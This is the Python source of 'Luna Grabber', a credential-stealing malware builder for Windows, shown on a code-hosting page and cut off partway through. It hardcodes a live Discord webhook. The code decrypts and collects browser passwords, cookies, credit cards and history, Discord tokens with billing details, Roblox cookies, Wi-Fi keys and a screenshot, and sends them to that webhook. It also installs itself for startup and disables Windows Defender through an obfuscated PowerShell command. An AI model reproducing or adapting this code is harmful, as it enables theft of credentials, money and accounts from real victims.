-
Notifications
You must be signed in to change notification settings - Fork 0
/
builder.py
1018 lines (889 loc) · 52.1 KB
/
builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import base64
import concurrent.futures
import ctypes
import json
import os
import random
import re
import sqlite3
import subprocess
import sys
import threading
import time
from ctypes import wintypes
from multiprocessing import cpu_count
from shutil import copy2
from zipfile import ZIP_DEFLATED, ZipFile
import psutil
import requests
from Cryptodome.Cipher import AES
from PIL import Image, ImageGrab
from requests_toolbelt.multipart.encoder import MultipartEncoder
from win32crypt import CryptUnprotectData
__CONFIG__ = {'webhook': 'https://discord.com/api/webhooks/1205161418102538291/ZR09n-FaR8kpFzkN4rDCETMcPGFFTfG9LXhPBcYz91hNOmqAGurYoaihchO1joeHlJxH', 'ping': False, 'pingtype': 'Here', 'fakeerror': True, 'startup': True, 'defender': True, 'systeminfo': True, 'backupcodes': True, 'browser': True, 'roblox': True, 'obfuscation': False, 'injection': True, 'minecraft': False, 'wifi': False, 'killprotector': True, 'antidebug_vm': False, 'discord': True, 'anti_spam': False, 'self_destruct': True, 'clipboard': False}
#global variables
temp = os.getenv("temp")
temp_path = os.path.join(temp, ''.join(random.choices("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", k=10)))
os.mkdir(temp_path)
localappdata = os.getenv("localappdata")
def main(webhook: str):
threads = [Browsers, Wifi, Minecraft, BackupCodes, Clipboard, killprotector, fakeerror, startup, disable_defender]
configcheck(threads)
with concurrent.futures.ThreadPoolExecutor(max_workers=cpu_count()) as executor:
executor.map(lambda func: func(), threads)
zipup()
data = {
"username": "Luna",
"avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096"
}
_file = f'{localappdata}\\Luna-Logged-{os.getlogin()}.zip'
if __CONFIG__["ping"]:
if __CONFIG__["pingtype"] in ["Everyone", "Here"]:
content = f"@{__CONFIG__['pingtype'].lower()}"
data.update({"content": content})
if any(__CONFIG__[key] for key in ["roblox", "browser", "wifi", "minecraft", "backupcodes", "clipboard"]):
with open(_file, 'rb') as file:
encoder = MultipartEncoder({'payload_json': json.dumps(data), 'file': (f'Luna-Logged-{os.getlogin()}.zip', file, 'application/zip')})
requests.post(webhook, headers={'Content-type': encoder.content_type}, data=encoder)
else:
requests.post(webhook, json=data)
if __CONFIG__["systeminfo"]:
PcInfo()
if __CONFIG__["discord"]:
Discord()
os.remove(_file)
def Luna(webhook: str):
if __CONFIG__["anti_spam"]:
AntiSpam()
if __CONFIG__["antidebug_vm"]:
Debug()
with concurrent.futures.ThreadPoolExecutor() as executor:
if __CONFIG__["injection"]:
executor.submit(Injection, webhook)
executor.submit(main, webhook)
if __CONFIG__["self_destruct"]:
SelfDestruct()
def configcheck(list):
if not __CONFIG__["fakeerror"]:
list.remove(fakeerror)
if not __CONFIG__["startup"]:
list.remove(startup)
if not __CONFIG__["defender"]:
list.remove(disable_defender)
if not __CONFIG__["browser"]:
list.remove(Browsers)
if not __CONFIG__["wifi"]:
list.remove(Wifi)
if not __CONFIG__["minecraft"]:
list.remove(Minecraft)
if not __CONFIG__["backupcodes"]:
list.remove(BackupCodes)
if not __CONFIG__["clipboard"]:
list.remove(Clipboard)
def fakeerror():
ctypes.windll.user32.MessageBoxW(None, 'Error code: 0x80070002\nAn internal error occurred while importing modules.', 'Fatal Error', 0)
def startup():
startup_path = os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
if hasattr(sys, 'frozen'):
source_path = sys.executable
else:
source_path = sys.argv[0]
target_path = os.path.join(startup_path, os.path.basename(source_path))
if os.path.exists(target_path):
os.remove(target_path)
copy2(source_path, startup_path)
def disable_defender():
cmd = base64.b64decode(b'cG93ZXJzaGVsbC5leGUgU2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUludHJ1c2lvblByZXZlbnRpb25TeXN0ZW0gJHRydWUgLURpc2FibGVJT0FWUHJvdGVjdGlvbiAkdHJ1ZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1FbmFibGVDb250cm9sbGVkRm9sZGVyQWNjZXNzIERpc2FibGVkIC1FbmFibGVOZXR3b3JrUHJvdGVjdGlvbiBBdWRpdE1vZGUgLUZvcmNlIC1NQVBTUmVwb3J0aW5nIERpc2FibGVkIC1TdWJtaXRTYW1wbGVzQ29uc2VudCBOZXZlclNlbmQgJiYgcG93ZXJzaGVsbCBTZXQtTXBQcmVmZXJlbmNlIC1TdWJtaXRTYW1wbGVzQ29uc2VudCAyICYgcG93ZXJzaGVsbC5leGUgLWlucHV0Zm9ybWF0IG5vbmUgLW91dHB1dGZvcm1hdCBub25lIC1Ob25JbnRlcmFjdGl2ZSAtQ29tbWFuZCAiQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAlVVNFUlBST0ZJTEUlXEFwcERhdGEiICYgcG93ZXJzaGVsbC5leGUgLWlucHV0Zm9ybWF0IG5vbmUgLW91dHB1dGZvcm1hdCBub25lIC1Ob25JbnRlcmFjdGl2ZSAtQ29tbWFuZCAiQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAlVVNFUlBST0ZJTEUlXExvY2FsIiAmIHBvd2Vyc2hlbGwuZXhlIC1jb21tYW5kICJTZXQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25FeHRlbnNpb24gJy5leGUnIiAK').decode()
subprocess.run(cmd, shell=True, capture_output=True)
def create_temp(_dir: str or os.PathLike = None):
if _dir is None:
_dir = os.path.expanduser("~/tmp")
if not os.path.exists(_dir):
os.makedirs(_dir)
file_name = ''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
path = os.path.join(_dir, file_name)
open(path, "x").close()
return path
def killprotector():
roaming = os.getenv('APPDATA')
path = f"{roaming}\\DiscordTokenProtector"
config = path + "config.json"
if not os.path.exists(path):
return
for process in ["\\DiscordTokenProtector.exe", "\\ProtectionPayload.dll", "\\secure.dat"]:
try:
os.remove(path + process)
except FileNotFoundError:
pass
if os.path.exists(config):
with open(config, errors="ignore") as f:
try:
item = json.load(f)
except json.decoder.JSONDecodeError:
return
item['auto_start'] = False
item['auto_start_discord'] = False
item['integrity'] = False
item['integrity_allowbetterdiscord'] = False
item['integrity_checkexecutable'] = False
item['integrity_checkhash'] = False
item['integrity_checkmodule'] = False
item['integrity_checkscripts'] = False
item['integrity_checkresource'] = False
item['integrity_redownloadhashes'] = False
item['iterations_iv'] = 364
item['iterations_key'] = 457
item['version'] = 69420
with open(config, 'w') as f:
json.dump(item, f, indent=2, sort_keys=True)
def zipup():
_zipfile = os.path.join(localappdata, f'Luna-Logged-{os.getlogin()}.zip')
zipped_file = ZipFile(_zipfile, "w", ZIP_DEFLATED)
for dirname, _, files in os.walk(temp_path):
for filename in files:
absname = os.path.join(dirname, filename)
arcname = os.path.relpath(absname, temp_path)
zipped_file.write(absname, arcname)
zipped_file.close()
class PcInfo:
def __init__(self):
self.get_inf(__CONFIG__["webhook"])
def get_inf(self, webhook):
computer_os = subprocess.run('wmic os get Caption', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().splitlines()[2].strip()
cpu = subprocess.run(["wmic", "cpu", "get", "Name"], capture_output=True, text=True).stdout.strip().split('\n')[2]
gpu = subprocess.run("wmic path win32_VideoController get name", capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip()
ram = str(int(int(subprocess.run('wmic computersystem get totalphysicalmemory', capture_output=True,
shell=True).stdout.decode(errors='ignore').strip().split()[1]) / 1000000000))
username = os.getenv("UserName")
hostname = os.getenv("COMPUTERNAME")
hwid = subprocess.check_output(r'C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid', shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE).decode('utf-8').split('\n')[1].strip()
ip = requests.get('https://api.ipify.org').text
interface, addrs = next(iter(psutil.net_if_addrs().items()))
mac = addrs[0].address
data = {
"embeds": [
{
"title": "Luna Logger",
"color": 5639644,
"fields": [
{
"name": "System Info",
"value": f'''💻 **PC Username:** `{username}`\n:desktop: **PC Name:** `{hostname}`\n🌐 **OS:** `{computer_os}`\n\n👀 **IP:** `{ip}`\n🍏 **MAC:** `{mac}`\n🔧 **HWID:** `{hwid}`\n\n<:cpu:1051512676947349525> **CPU:** `{cpu}`\n<:gpu:1051512654591688815> **GPU:** `{gpu}`\n<:ram1:1051518404181368972> **RAM:** `{ram}GB`'''
}
],
"footer": {
"text": "Luna Grabber | Created By Smug"
},
"thumbnail": {
"url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096"
}
}
],
"username": "Luna",
"avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096"
}
requests.post(webhook, json=data)
class Discord:
def __init__(self):
self.baseurl = "https://discord.com/api/v9/users/@me"
self.appdata = os.getenv("localappdata")
self.roaming = os.getenv("appdata")
self.regex = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"
self.encrypted_regex = r"dQw4w9WgXcQ:[^\"]*"
self.tokens_sent = []
self.tokens = []
self.ids = []
self.grabTokens()
self.upload(__CONFIG__["webhook"])
def decrypt_val(self, buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return "Failed to decrypt password"
def get_master_key(self, path):
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def grabTokens(self):
paths = {
'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
'Amigo': self.appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
'Torch': self.appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\',
'Kometa': self.appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
'Orbitum': self.appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
'CentBrowser': self.appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
'7Star': self.appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
'Sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome SxS': self.appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
'Chrome3': self.appdata + '\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\',
'Chrome4': self.appdata + '\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\',
'Chrome5': self.appdata + '\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\',
'Epic Privacy Browser': self.appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\',
'Uran': self.appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
'Yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
'Iridium': self.appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}
for name, path in paths.items():
if not os.path.exists(path):
continue
disc = name.replace(" ", "").lower()
if "cord" in path:
if os.path.exists(self.roaming + f'\\{disc}\\Local State'):
for file_name in os.listdir(path):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for y in re.findall(self.encrypted_regex, line):
token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming + f'\\{disc}\\Local State'))
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.ids:
self.tokens.append(token)
self.ids.append(uid)
else:
for file_name in os.listdir(path):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for token in re.findall(self.regex, line):
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.ids:
self.tokens.append(token)
self.ids.append(uid)
if os.path.exists(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
for path, _, files in os.walk(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
for _file in files:
if not _file.endswith('.sqlite'):
continue
for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]:
for token in re.findall(self.regex, line):
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.ids:
self.tokens.append(token)
self.ids.append(uid)
def robloxinfo(self, webhook):
if __CONFIG__["roblox"]:
with open(os.path.join(temp_path, "Browser", "roblox cookies.txt"), 'r', encoding="utf-8") as f:
robo_cookie = f.read().strip()
if robo_cookie == "No Roblox Cookies Found":
pass
else:
headers = {"Cookie": ".ROBLOSECURITY=" + robo_cookie}
info = None
try:
response = requests.get("https://www.roblox.com/mobileapi/userinfo", headers=headers)
response.raise_for_status()
info = response.json()
except requests.exceptions.HTTPError:
pass
except requests.exceptions.RequestException:
pass
if info is not None:
data = {
"embeds": [
{
"title": "Roblox Info",
"color": 5639644,
"fields": [
{
"name": "<:roblox_icon:1041819334969937931> Name:",
"value": f"`{info['UserName']}`",
"inline": True
},
{
"name": "<:robux_coin:1041813572407283842> Robux:",
"value": f"`{info['RobuxBalance']}`",
"inline": True
},
{
"name": "🍪 Cookie:",
"value": f"`{robo_cookie}`"
}
],
"thumbnail": {
"url": info['ThumbnailUrl']
},
"footer": {
"text": "Luna Grabber | Created By Smug"
},
}
],
"username": "Luna",
"avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096",
}
requests.post(webhook, json=data)
def upload(self, webhook):
for token in self.tokens:
if token in self.tokens_sent:
continue
val = ""
methods = ""
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token
}
user = requests.get(self.baseurl, headers=headers).json()
payment = requests.get("https://discord.com/api/v6/users/@me/billing/payment-sources", headers=headers).json()
username = user['username'] + '#' + user['discriminator']
discord_id = user['id']
avatar_url = f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.gif" \
if requests.get(f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.gif").status_code == 200 \
else f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.png"
phone = user['phone']
email = user['email']
mfa = "✅" if user.get('mfa_enabled') else "❌"
premium_types = {
0: "❌",
1: "Nitro Classic",
2: "Nitro",
3: "Nitro Basic"
}
nitro = premium_types.get(user.get('premium_type'), "❌")
if "message" in payment or payment == []:
methods = "❌"
else:
methods = "".join(["💳" if method['type'] == 1 else "<:paypal:973417655627288666>" if method['type'] == 2 else "❓" for method in payment])
val += f'<:1119pepesneakyevil:972703371221954630> **Discord ID:** `{discord_id}` \n<:gmail:1051512749538164747> **Email:** `{email}`\n:mobile_phone: **Phone:** `{phone}`\n\n🔐 **2FA:** {mfa}\n<a:nitroboost:996004213354139658> **Nitro:** {nitro}\n<:billing:1051512716549951639> **Billing:** {methods}\n\n<:crown1:1051512697604284416> **Token:** `{token}`\n'
data = {
"embeds": [
{
"title": f"{username}",
"color": 5639644,
"fields": [
{
"name": "Discord Info",
"value": val
}
],
"thumbnail": {
"url": avatar_url
},
"footer": {
"text": "Luna Grabber | Created By Smug"
},
}
],
"username": "Luna",
"avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096",
}
requests.post(webhook, json=data)
self.tokens_sent.append(token)
self.robloxinfo(webhook)
image = ImageGrab.grab(
bbox=None,
all_screens=True,
include_layered_windows=False,
xdisplay=None
)
image.save(temp_path + "\\desktopshot.png")
image.close()
webhook_data = {
"username": "Luna",
"avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096",
"embeds": [
{
"color": 5639644,
"title": "Desktop Screenshot",
"image": {
"url": "attachment://image.png"
}
}
]
}
with open(temp_path + "\\desktopshot.png", "rb") as f:
image_data = f.read()
encoder = MultipartEncoder({'payload_json': json.dumps(webhook_data), 'file': ('image.png', image_data, 'image/png')})
requests.post(webhook, headers={'Content-type': encoder.content_type}, data=encoder)
class Browsers:
def __init__(self):
self.appdata = os.getenv('LOCALAPPDATA')
self.roaming = os.getenv('APPDATA')
self.browser_exe = ["chrome.exe", "firefox.exe", "brave.exe", "opera.exe", "kometa.exe", "orbitum.exe", "centbrowser.exe",
"7star.exe", "sputnik.exe", "vivaldi.exe", "epicprivacybrowser.exe", "msedge.exe", "uran.exe", "yandex.exe", "iridium.exe"]
self.browsers_found = []
self.browsers = {
'kometa': self.appdata + '\\Kometa\\User Data',
'orbitum': self.appdata + '\\Orbitum\\User Data',
'cent-browser': self.appdata + '\\CentBrowser\\User Data',
'7star': self.appdata + '\\7Star\\7Star\\User Data',
'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
'vivaldi': self.appdata + '\\Vivaldi\\User Data',
'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User Data',
'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
'iridium': self.appdata + '\\Iridium\\User Data',
'opera': self.roaming + '\\Opera Software\\Opera Stable',
'opera-gx': self.roaming + '\\Opera Software\\Opera GX Stable',
}
self.profiles = [
'Default',
'Profile 1',
'Profile 2',
'Profile 3',
'Profile 4',
'Profile 5',
]
for proc in psutil.process_iter(['name']):
process_name = proc.info['name'].lower()
if process_name in self.browser_exe:
self.browsers_found.append(proc)
for proc in self.browsers_found:
try:
proc.kill()
except Exception:
pass
os.makedirs(os.path.join(temp_path, "Browser"), exist_ok=True)
def process_browser(name, path, profile, func):
try:
func(name, path, profile)
except:
pass
threads = []
for name, path in self.browsers.items():
if not os.path.isdir(path):
continue
self.masterkey = self.get_master_key(path + '\\Local State')
self.funcs = [
self.cookies,
self.history,
self.passwords,
self.credit_cards
]
for profile in self.profiles:
for func in self.funcs:
thread = threading.Thread(target=process_browser, args=(name, path, profile, func))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
self.roblox_cookies()
def get_master_key(self, path: str) -> str:
try:
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
except:
pass
def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def passwords(self, name: str, path: str, profile: str):
if name == 'opera' or name == 'opera-gx':
path += '\\Login Data'
else:
path += '\\' + profile + '\\Login Data'
if not os.path.isfile(path):
return
conn = sqlite3.connect(path)
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
password_file_path = os.path.join(temp_path, "Browser", "passwords.txt")
for results in cursor.fetchall():
if not results[0] or not results[1] or not results[2]:
continue
url = results[0]
login = results[1]
password = self.decrypt_password(results[2], self.masterkey)
with open(password_file_path, "a", encoding="utf-8") as f:
if os.path.getsize(password_file_path) == 0:
f.write("Website | Username | Password\n\n")
f.write(f"{url} | {login} | {password}\n")
cursor.close()
conn.close()
def cookies(self, name: str, path: str, profile: str):
if name == 'opera' or name == 'opera-gx':
path += '\\Network\\Cookies'
else:
path += '\\' + profile + '\\Network\\Cookies'
if not os.path.isfile(path):
return
cookievault = create_temp()
copy2(path, cookievault)
conn = sqlite3.connect(cookievault)
cursor = conn.cursor()
with open(os.path.join(temp_path, "Browser", "cookies.txt"), 'a', encoding="utf-8") as f:
f.write(f"\nBrowser: {name} Profile: {profile}\n\n")
for res in cursor.execute("SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies").fetchall():
host_key, name, path, encrypted_value, expires_utc = res
value = self.decrypt_password(encrypted_value, self.masterkey)
if host_key and name and value != "":
f.write(f"{host_key}\t{'FALSE' if expires_utc == 0 else 'TRUE'}\t{path}\t{'FALSE' if host_key.startswith('.') else 'TRUE'}\t{expires_utc}\t{name}\t{value}\n")
cursor.close()
conn.close()
os.remove(cookievault)
def history(self, name: str, path: str, profile: str):
if name == 'opera' or name == 'opera-gx':
path += '\\History'
else:
path += '\\' + profile + '\\History'
if not os.path.isfile(path):
return
conn = sqlite3.connect(path)
cursor = conn.cursor()
history_file_path = os.path.join(temp_path, "Browser", "history.txt")
with open(history_file_path, 'a', encoding="utf-8") as f:
if os.path.getsize(history_file_path) == 0:
f.write("Url | Visit Count\n\n")
for res in cursor.execute("SELECT url, visit_count FROM urls").fetchall():
url, visit_count = res
f.write(f"{url} | {visit_count}\n")
cursor.close()
conn.close()
def credit_cards(self, name: str, path: str, profile: str):
if name in ['opera', 'opera-gx']:
path += '\\Web Data'
else:
path += '\\' + profile + '\\Web Data'
if not os.path.isfile(path):
return
conn = sqlite3.connect(path)
cursor = conn.cursor()
cc_file_path = os.path.join(temp_path, "Browser", "cc's.txt")
with open(cc_file_path, 'a', encoding="utf-8") as f:
if os.path.getsize(cc_file_path) == 0:
f.write("Name on Card | Expiration Month | Expiration Year | Card Number | Date Modified\n\n")
for res in cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards").fetchall():
name_on_card, expiration_month, expiration_year, card_number_encrypted = res
card_number = self.decrypt_password(card_number_encrypted, self.masterkey)
f.write(f"{name_on_card} | {expiration_month} | {expiration_year} | {card_number}\n")
cursor.close()
conn.close()
def roblox_cookies(self):
robo_cookie_file = os.path.join(temp_path, "Browser", "roblox cookies.txt")
if not __CONFIG__["roblox"]:
pass
else:
robo_cookie = ""
with open(os.path.join(temp_path, "Browser", "cookies.txt"), 'r', encoding="utf-8") as g:
with open(robo_cookie_file, 'w', encoding="utf-8") as f:
for line in g:
if ".ROBLOSECURITY" in line:
robo_cookie = line.split(".ROBLOSECURITY")[1].strip()
f.write(robo_cookie + "\n\n")
if os.path.getsize(robo_cookie_file) == 0:
f.write("No Roblox Cookies Found")
class Wifi:
def __init__(self):
self.wifi_list = []
self.name_pass = {}
data = subprocess.getoutput('netsh wlan show profiles').split('\n')
for line in data:
if 'All User Profile' in line:
self.wifi_list.append(line.split(":")[-1][1:])
self.wifi_info()
def wifi_info(self):
for i in self.wifi_list:
command = subprocess.getoutput(
f'netsh wlan show profile "{i}" key=clear')
if "Key Content" in command:
split_key = command.split('Key Content')
tmp = split_key[1].split('\n')[0]
key = tmp.split(': ')[1]
self.name_pass[i] = key
else:
key = ""
self.name_pass[i] = key
os.makedirs(os.path.join(temp_path, "Wifi"), exist_ok=True)
with open(os.path.join(temp_path, "Wifi", "Wifi Passwords.txt"), 'w', encoding="utf-8") as f:
for i, j in self.name_pass.items():
f.write(f'Wifi Name : {i} | Password : {j}\n')
f.close()
class Minecraft:
def __init__(self):
self.roaming = os.getenv("appdata")
self.accounts_path = "\\.minecraft\\launcher_accounts.json"
self.usercache_path = "\\.minecraft\\usercache.json"
